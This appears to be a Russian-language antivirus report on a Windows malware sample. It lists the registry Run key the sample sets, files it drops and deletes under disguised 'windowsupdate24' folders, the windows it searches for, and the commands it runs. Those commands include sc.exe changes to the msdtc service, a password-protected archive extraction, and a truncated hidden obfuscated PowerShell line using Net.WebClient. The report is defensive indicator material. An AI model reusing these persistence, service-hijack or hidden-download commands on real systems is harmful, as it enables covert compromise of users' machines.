Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'UpdateWindowsKey' = '%ALLUSERSPROFILE%\Microsoft\LogUpdateWindows\Microsoft.AnyKey.lnk'
Изменения в файловой системе
Создает следующие файлы
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\ipscan-3.9.1-setup.exe
- %ALLUSERSPROFILE%\microsoft\logupdatewindows\wiaphoh7um.t
- %ALLUSERSPROFILE%\microsoft\logupdatewindows\microsoft.anykey.exe
- %ALLUSERSPROFILE%\microsoft\logupdatewindows\microsoft.anykey.lnk
- %TEMP%\nsf40b9.tmp\nsdialogs.dll
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\microsoft.anykey.exe
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\windowsupdate.bat
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\wiaphoh7um.t
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\microsoft.anykey.lnk
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\logupdate.bat
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\kautix2aex.t
- %TEMP%\nsf40b9.tmp\modern-wizard.bmp
- %TEMP%\nsf40b9.tmp\modern-header.bmp
- %TEMP%\nsf40b9.tmp\system.dll
- %TEMP%\nsf40b9.tmp\userinfo.dll
- %TEMP%\nsq4099.tmp
- %TEMP%\nsq3e29.tmp\nsexec.dll
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\7za.dll
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\7za.exe
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\windowsupdate.7z
- %ALLUSERSPROFILE%\microsoft\logupdatewindows\logupdate.bat
- %ALLUSERSPROFILE%\1
Удаляет следующие файлы
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\microsoft.anykey.lnk
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\wiaphoh7um.t
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\logupdate.bat
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\windowsupdate.7z
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\7za.exe
- %ALLUSERSPROFILE%\microsoft\windowsupdate24\7za.dll
Другое
Ищет следующие окна
- ClassName: '#32770' WindowName: ''
- ClassName: 'SysListView32' WindowName: ''
Создает и запускает на исполнение
- '%ALLUSERSPROFILE%\microsoft\windowsupdate24\ipscan-3.9.1-setup.exe'
- '%ALLUSERSPROFILE%\microsoft\windowsupdate24\7za.exe' x %ALLUSERSPROFILE%\Microsoft\WindowsUpdate24\WindowsUpdate.7z -pYh23wE34Wegi7eye56ib6aih6Mn8u8bai4eizna -o%ALLUSERSPROFILE%\Microsoft\WindowsUpdate24
- '%ALLUSERSPROFILE%\microsoft\windowsupdate24\microsoft.anykey.exe' abnormal %ALLUSERSPROFILE%\1 %ALLUSERSPROFILE%\Microsoft\WindowsUpdate24\WindowsUpdate.bat
Запускает на исполнение
- '%WINDIR%\syswow64\sc.exe' config msdtc start= demand (со скрытым окном)
- '%WINDIR%\syswow64\sc.exe' config msdtc obj= "LocalSystem" (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /c ""%ALLUSERSPROFILE%\Microsoft\WindowsUpdate24\WindowsUpdate.bat""
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle Hidden -command "Set-Item Variable:\1 '%ALLUSERSPROFILE%\Microsoft\WindowsUpdate24\kautix2aeX.t';SI Variable:/Gyn 'Net.WebClient';ls sl*;Set-Item Variable:\Y (.$ExecutionContext.((...
- '%ALLUSERSPROFILE%\microsoft\windowsupdate24\7za.exe' x %ALLUSERSPROFILE%\Microsoft\WindowsUpdate24\WindowsUpdate.7z -pYh23wE34Wegi7eye56ib6aih6Mn8u8bai4eizna -o%ALLUSERSPROFILE%\Microsoft\WindowsUpdate24 (со скрытым окном)
- '%ALLUSERSPROFILE%\microsoft\windowsupdate24\microsoft.anykey.exe' abnormal %ALLUSERSPROFILE%\1 %ALLUSERSPROFILE%\Microsoft\WindowsUpdate24\WindowsUpdate.bat (со скрытым окном)
